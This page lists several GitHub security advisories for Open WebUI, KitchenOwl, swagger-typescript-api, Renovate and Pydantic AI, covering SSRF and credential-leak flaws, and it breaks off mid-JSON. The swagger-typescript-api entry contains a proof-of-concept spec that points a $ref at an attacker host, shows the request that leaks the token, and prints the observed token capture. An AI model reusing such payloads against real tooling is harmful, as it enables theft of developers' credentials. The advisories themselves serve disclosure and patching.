Vulnerability-Lookup

GHSA-H6X2-583H-X99R

Vulnerability from github – Published: 2026-08-04 20:38 – Updated: 2026-08-04 21:07

Summary

Open WebUI: DNS Rebinding SSRF Bypass

Details

Summary

Open WebUI vetted user-supplied URLs by resolving the hostname once and rejecting private, loopback and link-local addresses, then let the HTTP client resolve that hostname again at connect time. An attacker who controls the authoritative DNS for a hostname they submit can answer with a public address during the check and an internal one at connect, so the fetch reaches an address the check was meant to block. Every user-reachable fetch gated by that check was affected, and most of them hand the internal response back to the attacker.

Preconditions

An account on the instance. No admin rights and no non-default configuration.
Control of the authoritative DNS for a hostname the attacker submits, serving a TTL of 0 and alternating answers.
One of the affected entry points: URL ingest for retrieval, an image_url in a chat completion, image editing, or the OAuth profile-picture fetch.
The OAuth path additionally needs OAuth login configured and a picture claim (OAUTH_PICTURE_CLAIM, default picture) the user can influence, which is the case on self-service OIDC providers and providers with a user-editable avatar URL. On an existing account it also needs OAUTH_UPDATE_PICTURE_ON_LOGIN, which is off by default. Deployments without OAuth are not affected on that path; the other paths need no configuration at all.

Impact

The server can be made to issue requests to addresses only it can reach: cloud instance metadata such as 169.254.169.254, loopback-bound admin APIs, and internal network services. The response comes back to the attacker on most paths, as document content on the retrieval path, described by the vision model on the chat image path, and base64-encoded into the profile picture on the OAuth path; the image-edit path is blind. On the OAuth path the server also forwards the OAuth access token as a Bearer header to the fetched URL, so a rebind hands that token to the internal target. On a cloud host with IMDSv1 reachable this is enough to take instance IAM credentials.

Exploitation depends on winning the gap between the two resolutions, which the attacker influences but does not fully control. Admin-configured image-generation backends and the shared session pool are not affected and deliberately keep the default client, since an administrator may legitimately point those at an internal host.

Fix

Fixed in v0.11.0 (#24759, #25775, #25960, #26699). The check now happens at the connection layer instead of ahead of it: a requests transport adapter resolves the hostname once and connects to that same validated address, and an aiohttp resolver applies the same global-IP check, exposed as a one-off session used by every fetch behind the URL check. Upgrading to v0.11.0 resolves this with no configuration change.

Root cause

Affected components: - retrieval web loader (SafeWebBaseLoader) - retrieval content probe (get_content_from_url) - chat image fetch (get_image_base64_from_url) - image edit fetch (load_url_image) - OAuth profile-picture fetch (_process_picture_url)

The URL check resolved the hostname and inspected the resulting IP, but nothing tied that decision to the connection that followed: the HTTP client resolved the name again on its own, and the second answer was never inspected. The check was therefore an opinion about a past lookup rather than a constraint on the actual connection, which is what a rebinding DNS server defeats. The first connection-layer guard covered only the retrieval loader, leaving the sibling probe, image and OAuth fetches on default clients until each was reported in turn.

Credits

@rezaduty — the rebinding time-of-check/time-of-use bypass and the retrieval loader path.
@nikchillz — the retrieval content-probe path.
@dhyabi2 — the chat image_url path, where the internal response is read back through the vision model.
@geo-chen — the image-edit path.
@bogdancherniy11-sudo — the OAuth profile-picture path, where the rebind also discloses the forwarded OAuth access token.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.10.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T20:38:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nOpen WebUI vetted user-supplied URLs by resolving the hostname once and rejecting private, loopback and link-local addresses, then let the HTTP client resolve that hostname again at connect time. An attacker who controls the authoritative DNS for a hostname they submit can answer with a public address during the check and an internal one at connect, so the fetch reaches an address the check was meant to block. Every user-reachable fetch gated by that check was affected, and most of them hand the internal response back to the attacker.\n\n## Preconditions\n- An account on the instance. No admin rights and no non-default configuration.\n- Control of the authoritative DNS for a hostname the attacker submits, serving a TTL of 0 and alternating answers.\n- One of the affected entry points: URL ingest for retrieval, an `image_url` in a chat completion, image editing, or the OAuth profile-picture fetch.\n- The OAuth path additionally needs OAuth login configured and a picture claim (`OAUTH_PICTURE_CLAIM`, default `picture`) the user can influence, which is the case on self-service OIDC providers and providers with a user-editable avatar URL. On an existing account it also needs `OAUTH_UPDATE_PICTURE_ON_LOGIN`, which is off by default. Deployments without OAuth are not affected on that path; the other paths need no configuration at all.\n\n## Impact\nThe server can be made to issue requests to addresses only it can reach: cloud instance metadata such as 169.254.169.254, loopback-bound admin APIs, and internal network services. The response comes back to the attacker on most paths, as document content on the retrieval path, described by the vision model on the chat image path, and base64-encoded into the profile picture on the OAuth path; the image-edit path is blind. On the OAuth path the server also forwards the OAuth access token as a Bearer header to the fetched URL, so a rebind hands that token to the internal target. On a cloud host with IMDSv1 reachable this is enough to take instance IAM credentials.\n\nExploitation depends on winning the gap between the two resolutions, which the attacker influences but does not fully control. Admin-configured image-generation backends and the shared session pool are not affected and deliberately keep the default client, since an administrator may legitimately point those at an internal host.\n\n## Fix\nFixed in v0.11.0 (#24759, #25775, #25960, #26699). The check now happens at the connection layer instead of ahead of it: a `requests` transport adapter resolves the hostname once and connects to that same validated address, and an aiohttp resolver applies the same global-IP check, exposed as a one-off session used by every fetch behind the URL check. Upgrading to v0.11.0 resolves this with no configuration change.\n\n## Root cause\nAffected components:\n- retrieval web loader (`SafeWebBaseLoader`)\n- retrieval content probe (`get_content_from_url`)\n- chat image fetch (`get_image_base64_from_url`)\n- image edit fetch (`load_url_image`)\n- OAuth profile-picture fetch (`_process_picture_url`)\n\nThe URL check resolved the hostname and inspected the resulting IP, but nothing tied that decision to the connection that followed: the HTTP client resolved the name again on its own, and the second answer was never inspected. The check was therefore an opinion about a past lookup rather than a constraint on the actual connection, which is what a rebinding DNS server defeats. The first connection-layer guard covered only the retrieval loader, leaving the sibling probe, image and OAuth fetches on default clients until each was reported in turn.\n\n## Credits\n- @rezaduty \u2014 the rebinding time-of-check/time-of-use bypass and the retrieval loader path.\n- @nikchillz \u2014 the retrieval content-probe path.\n- @dhyabi2 \u2014 the chat `image_url` path, where the internal response is read back through the vision model.\n- @geo-chen \u2014 the image-edit path.\n- @bogdancherniy11-sudo \u2014 the OAuth profile-picture path, where the rebind also discloses the forwarded OAuth access token.",
  "id": "GHSA-h6x2-583h-x99r",
  "modified": "2026-08-04T21:07:58Z",
  "published": "2026-08-04T20:38:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-h6x2-583h-x99r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: DNS Rebinding SSRF Bypass"
}

GHSA-H74M-472F-X5GJ

Vulnerability from github – Published: 2026-10-19 15:32 – Updated: 2026-10-19 15:32

Details

KitchenOwl through 0.7.10 contains a server-side request forgery vulnerability in recipe import that allows authenticated household members to bypass IP filtering via a second unfiltered fetch. Attackers can host a page titled KitchenOwl at a URL matching /recipe/. The follow-up requests.get() call can then be redirected or DNS-rebound to loopback, private-network, or cloud-metadata addresses, exposing internal services.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-111899"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-19T14:17:00Z",
    "severity": "MODERATE"
  },
  "details": "KitchenOwl through 0.7.10 contains a server-side request forgery vulnerability in recipe import that allows authenticated household members to bypass IP filtering via a second unfiltered fetch. Attackers can host a page titled KitchenOwl at a URL matching /recipe/\u003cid\u003e. The follow-up requests.get() call can then be redirected or DNS-rebound to loopback, private-network, or cloud-metadata addresses, exposing internal services.",
  "id": "GHSA-h74m-472f-x5gj",
  "modified": "2026-10-19T15:32:38Z",
  "published": "2026-10-19T15:32:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111899"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TomBursch/kitchenowl/issues/1169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TomBursch/kitchenowl/commit/292f6f50a8e8bfa487292e9fd0ea0c54a860c28f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TomBursch/kitchenowl/blob/v0.7.10/backend/app/service/recipe_scraping.py"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kitchenowl-through-0.7.10-ssrf-via-recipe-import-scrapekitchenowl-fetch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H754-FXP7-88WX

Vulnerability from github – Published: 2026-07-29 14:22 – Updated: 2026-07-29 14:22

Summary

swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`

Details

Summary

When the developer supplies an --authorizationToken (commonly required to fetch a private spec behind authentication), swagger-typescript-api attaches that token to the Authorization header of every subsequent HTTP request it makes while resolving external $ref URLs in the spec — with no same-origin check, no host allowlist, and no scope-down for cross-origin requests. A malicious OpenAPI spec containing a $ref to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.

The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.

Details

The header-builder lives in src/resolved-swagger-schema.ts:81-92:

private getRemoteRequestHeaders(): Record<string, string> {
  return Object.assign(
    {},
    this.config.authorizationToken
      ? {
          Authorization: this.config.authorizationToken,
        }
      : {},
    (this.config.requestOptions?.headers as
      | Record<string, string>
      | undefined) || {},
  );
}

There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with this.config.url — the URL the user originally specified. The headers object is unconditional.

getRemoteRequestHeaders is called by fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374):

const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(),
});

…which is in turn called by warmUpRemoteSchemasCache (src/resolved-swagger-schema.ts:399-445) for every external $ref URL discovered while walking the spec.

Net effect: a spec whose response schema is

{ "$ref": "http://attacker.example/exfil-endpoint/data.json" }

causes the generator to send

GET /exfil-endpoint/data.json HTTP/1.1
Host: attacker.example
Authorization: <full value of --authorizationToken>

to attacker.example, regardless of where the original spec was hosted.

The --authorizationToken flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting --authorizationToken is therefore not an exotic configuration; it is the intended configuration for any non-public spec.

PoC

Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with authorizationToken set, observe what the attacker endpoint received). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):

{
  "openapi": "3.0.0",
  "info": { "title": "TokenLeak-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

Steps:

# 1. Start a loopback "attacker" HTTP server on a different port from the spec server.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Run the generator with --authorizationToken set.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  output: '/tmp/out',
  url: 'http://127.0.0.1:<spec-port>/spec.json',
  authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',
  httpClientType: 'fetch'
}))"

Observed:

[control] (no cross-origin $ref) → attacker-server hits: 0
[payload] ($ref → http://attacker)
  attacker-server hits: 1
  hit: /EXFIL_ENDPOINT/data.json  Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123
  TOKEN LEAKED — attacker server received user-supplied authorizationToken verbatim

The attacker-controlled endpoint received the developer's full Bearer ... token verbatim, sent by the generator while resolving the spec's $ref.

Impact

Type: Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.

Affected use cases:

A developer fetching a private OpenAPI spec behind authentication (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of --authorizationToken.
A CI/CD pipeline regenerating clients from a private spec on every build — the CI's authentication token (often a long-lived service-account credential) leaks on every run.
A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs — a tenant's malicious spec captures the SaaS provider's API key.
Any project where a contributor can modify the pinned spec via PR — the project's CI credentials leak on first build of the malicious PR.

Lifecycle: generation-time. The token leak happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.

Privilege of stolen token: typically the developer's API authentication for the target service — a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft — the attacker gains the same scope of access the developer had.

Suggested fix:

The minimum sufficient fix is a same-origin check on the Authorization header forwarding:

// in src/resolved-swagger-schema.ts:81-92
private getRemoteRequestHeaders(targetUrl?: string): Record<string, string> {
  const headers: Record<string, string> = {};

  // Only attach Authorization if the target URL shares an origin with the
  // user-supplied spec URL. Otherwise the token is leaked across origins.
  if (
    this.config.authorizationToken &&
    targetUrl &&
    this.isSameOrigin(targetUrl, this.config.url)
  ) {
    headers.Authorization = this.config.authorizationToken;
  }

  return Object.assign(
    headers,
    (this.config.requestOptions?.headers as Record<string, string> | undefined) || {},
  );
}

private isSameOrigin(a: string, b: string | undefined): boolean {
  if (typeof b !== "string") return false;
  try {
    const ua = new URL(a);
    const ub = new URL(b);
    return ua.protocol === ub.protocol && ua.host === ub.host;
  } catch {
    return false;
  }
}

Then update the call site fetchRemoteSchemaDocument (src/resolved-swagger-schema.ts:374) to pass the destination URL:

const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(url),
});

This is the same model browsers apply to credentialed fetch requests by default. It does not break legitimate same-server $refs — those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin.

For deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-201",
      "CWE-522",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:22:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen the developer supplies an `--authorizationToken` (commonly required to fetch a private spec behind authentication), `swagger-typescript-api` attaches that token to the `Authorization` header of **every** subsequent HTTP request it makes while resolving external `$ref` URLs in the spec \u2014 with **no same-origin check, no host allowlist, and no scope-down** for cross-origin requests. A malicious OpenAPI spec containing a `$ref` to an attacker-controlled URL therefore causes the developer\u0027s bearer token to be sent verbatim to that URL during code generation.\n\nThe threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.\n\n### Details\n\nThe header-builder lives in `src/resolved-swagger-schema.ts:81-92`:\n\n```ts\nprivate getRemoteRequestHeaders(): Record\u003cstring, string\u003e {\n  return Object.assign(\n    {},\n    this.config.authorizationToken\n      ? {\n          Authorization: this.config.authorizationToken,\n        }\n      : {},\n    (this.config.requestOptions?.headers as\n      | Record\u003cstring, string\u003e\n      | undefined) || {},\n  );\n}\n```\n\nThere is no check that the request\u0027s destination URL shares an origin (or scheme, or host, or even top-level domain) with `this.config.url` \u2014 the URL the user originally specified. The headers object is unconditional.\n\n`getRemoteRequestHeaders` is called by `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`):\n\n```ts\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026which is in turn called by `warmUpRemoteSchemasCache` (`src/resolved-swagger-schema.ts:399-445`) for every external `$ref` URL discovered while walking the spec.\n\nNet effect: a spec whose response schema is\n\n```json\n{ \"$ref\": \"http://attacker.example/exfil-endpoint/data.json\" }\n```\n\ncauses the generator to send\n\n```\nGET /exfil-endpoint/data.json HTTP/1.1\nHost: attacker.example\nAuthorization: \u003cfull value of --authorizationToken\u003e\n```\n\nto `attacker.example`, regardless of where the original spec was hosted.\n\nThe `--authorizationToken` flag is the standard mechanism for consuming a spec behind auth \u2014 for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting `--authorizationToken` is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec.\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be the attacker\u0027s exfil endpoint \u2014 run the generator with `authorizationToken` set, observe what the attacker endpoint received). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"TokenLeak-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:\u003cattacker-port\u003e/EXFIL_ENDPOINT/data.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"attacker\" HTTP server on a different port from the spec server.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Run the generator with --authorizationToken set.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  output: \u0027/tmp/out\u0027,\n  url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n  authorizationToken: \u0027Bearer USER_GITHUB_PAT_super_secret_xyz123\u0027,\n  httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed:**\n\n```\n[control] (no cross-origin $ref) \u2192 attacker-server hits: 0\n[payload] ($ref \u2192 http://attacker)\n  attacker-server hits: 1\n  hit: /EXFIL_ENDPOINT/data.json  Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123\n  TOKEN LEAKED \u2014 attacker server received user-supplied authorizationToken verbatim\n```\n\nThe attacker-controlled endpoint received the developer\u0027s full `Bearer ...` token verbatim, sent by the generator while resolving the spec\u0027s `$ref`.\n\n### Impact\n\n**Type:** Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.\n\n**Affected use cases:**\n\n- **A developer fetching a private OpenAPI spec behind authentication** (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of `--authorizationToken`.\n- **A CI/CD pipeline regenerating clients from a private spec on every build** \u2014 the CI\u0027s authentication token (often a long-lived service-account credential) leaks on every run.\n- **A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs** \u2014 a tenant\u0027s malicious spec captures the SaaS provider\u0027s API key.\n- **Any project where a contributor can modify the pinned spec via PR** \u2014 the project\u0027s CI credentials leak on first build of the malicious PR.\n\n**Lifecycle:** generation-time. The token leak happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Privilege of stolen token:** typically the developer\u0027s API authentication for the target service \u2014 a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft \u2014 the attacker gains the same scope of access the developer had.\n\n**Suggested fix:**\n\nThe minimum sufficient fix is a same-origin check on the `Authorization` header forwarding:\n\n```ts\n// in src/resolved-swagger-schema.ts:81-92\nprivate getRemoteRequestHeaders(targetUrl?: string): Record\u003cstring, string\u003e {\n  const headers: Record\u003cstring, string\u003e = {};\n\n  // Only attach Authorization if the target URL shares an origin with the\n  // user-supplied spec URL. Otherwise the token is leaked across origins.\n  if (\n    this.config.authorizationToken \u0026\u0026\n    targetUrl \u0026\u0026\n    this.isSameOrigin(targetUrl, this.config.url)\n  ) {\n    headers.Authorization = this.config.authorizationToken;\n  }\n\n  return Object.assign(\n    headers,\n    (this.config.requestOptions?.headers as Record\u003cstring, string\u003e | undefined) || {},\n  );\n}\n\nprivate isSameOrigin(a: string, b: string | undefined): boolean {\n  if (typeof b !== \"string\") return false;\n  try {\n    const ua = new URL(a);\n    const ub = new URL(b);\n    return ua.protocol === ub.protocol \u0026\u0026 ua.host === ub.host;\n  } catch {\n    return false;\n  }\n}\n```\n\nThen update the call site `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`) to pass the destination URL:\n\n```ts\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(url),\n});\n```\n\nThis is the same model browsers apply to credentialed `fetch` requests by default. It does not break legitimate same-server `$ref`s \u2014 those still authenticate normally. It only strips the token when the target\u0027s origin differs from the spec source\u0027s origin.\n\nFor deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-h754-fxp7-88wx",
  "modified": "2026-07-29T14:22:46Z",
  "published": "2026-07-29T14:22:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-h754-fxp7-88wx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`"
}

GHSA-H7J4-4VJP-JMXF

Vulnerability from github – Published: 2026-10-15 00:31 – Updated: 2026-10-15 00:31

Details

Renovate before 44.79.0 contains a server-side request forgery vulnerability that allows users to make the shared HTTP client request arbitrary internal URLs via extends presets or customDatasources. Attackers can point a preset at an instance metadata service endpoint to obtain AWS credentials or leak sensitive information through Renovate logs.

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

8.4 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-110868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-14T23:17:28Z",
    "severity": "HIGH"
  },
  "details": "Renovate before 44.79.0 contains a server-side request forgery vulnerability that allows users to make the shared HTTP client request arbitrary internal URLs via extends presets or customDatasources. Attackers can point a preset at an instance metadata service endpoint to obtain AWS credentials or leak sensitive information through Renovate logs.",
  "id": "GHSA-h7j4-4vjp-jmxf",
  "modified": "2026-10-15T00:31:19Z",
  "published": "2026-10-15T00:31:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/renovatebot/renovate/security/advisories/GHSA-8rqp-w6vc-pf27"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110868"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/renovate-before-44.79.0-ssrf-via-http-preset-urls-and-customdatasources"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H7P7-W5GC-XJ3W

Vulnerability from github – Published: 2026-08-13 14:16 – Updated: 2026-08-13 14:16

Summary

Pydantic AI: Unvalidated UploadedFile references in UI adapters allow server-side file access using the application's credentials

Details

Summary

A client that can submit message history to a Pydantic AI UI adapter can reference arbitrary files in the application's model-provider or cloud-storage account. The server forwards the reference to the model provider, which fetches it using the server's own credentials, allowing the client to read files it should not have access to.

Details

UI adapters reconstruct file parts from client-submitted message history and forward them to the model provider. File URL parts are validated against a scheme allowlist before being forwarded, but UploadedFile references — which point to a file by provider file ID or cloud-storage URI (e.g. s3://…, gs://…) — were forwarded without validation.

Because the provider resolves an UploadedFile using the server-side identity (IAM role, service account, or provider API key) rather than the client's, a client that crafts message history containing an attacker-chosen UploadedFile can cause the server to read objects belonging to its own account or to other tenants, given a referenceable identifier.

Impact

Applications that pass untrusted client-submitted message history to an agent through a UI adapter (such as the Vercel AI adapter). Exploitation requires the attacker to reference a valid file identifier; depending on how the application names objects, such identifiers are not always unguessable.

Patches

Upgrade to 1.106.0 (1.x) or 2.0.0b6 (the 2.x beta line), which validate UploadedFile references on client-submitted messages the same way file URLs are validated.

Workarounds

If users cannot upgrade, do not pass untrusted client-submitted message history to the agent, or strip UploadedFile parts from incoming messages before running the agent.

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai-slim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.65.0"
            },
            {
              "fixed": "1.106.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai-slim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0b1"
            },
            {
              "fixed": "2.0.0b6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.65.0"
            },
            {
              "fixed": "1.106.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai"
      },
